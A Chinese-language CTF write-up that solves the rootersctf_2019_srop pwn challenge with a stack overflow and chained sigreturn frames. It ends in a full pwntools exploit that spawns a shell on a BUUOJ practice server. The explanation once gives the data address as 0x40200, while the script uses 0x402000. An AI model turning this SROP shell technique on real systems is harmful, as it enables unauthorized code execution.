rootersctf_2019_srop

这里保护只开了NX,我们直接看一下IDA静态分析

1

程序非常简单,就一个start和一个sub_401000

根据题目名字提示我们用SROP,这里只有一次read机会,那么一个栈帧肯定是不够用的,这里存在syscall_leave_ret gadget

2

1
2
3
4
5
syscall_leave_ret = 0x401033

pop_rax_syscall_leave_ret = 0x401032

syscall_addr = 0x401046

那么把原来rip指向的syscall gadget换成syscall;ret gadget构造syscall_chain

首先利用栈溢出,执行read的系统调用,往data段上写入/bin/sh和第二帧,同时控制rbp,指向第二帧的signal frame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
frame = SigreturnFrame()

frame.rax = 0 # read系统调用号

frame.rdi = 0 # 标准输入 stdin = 0

frame.rsi = 0x40200 # data_addr

frame.rdx = 0x400

frame.rip = syscall_leave_ret

frame.rbp = 0x40200+0x60 #data_addr + 0x60

payload_1 = 'a'*(0x80+8)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+str(frame)

第二帧:

1
2
3
4
5
6
7
8
9
10
11
12
13
frame = SigreturnFrame()

frame.rax = 59 # execve

frame.rdi = 0x402000 # /bin/sh

frame.rsi = 0

frame.rdx = 0

frame.rip = syscall_addr

payload_2 = "/bin/sh\x00"+'a'*(0x60)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+str(frame)

3

/bin/sh写进了0x402000,所以设置frame.rdi = 0x402000

到此我们就拿到shell了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.log_level = "debug"
context.arch="amd64"
io = remote("node4.buuoj.cn",28203)
#io = process('./rootersctf_2019_srop')

syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046

frame = SigreturnFrame(kernel="amd64")
frame.rax = 0 # read
frame.rdi = 0
frame.rsi = 0x402000
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = 0x402000 + 0x60

payload_1 = 'a'*(0x80+8)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+str(frame)
io.sendlineafter("Hey, can i get some feedback for the CTF?\n", payload_1)

frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = 0x402000
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload_2 = "/bin/sh\x00"+'a'*(0x60)+p64(pop_rax_syscall_leave_ret)+p64(0xf)+str(frame)

io.sendline(payload_2)
io.interactive()

4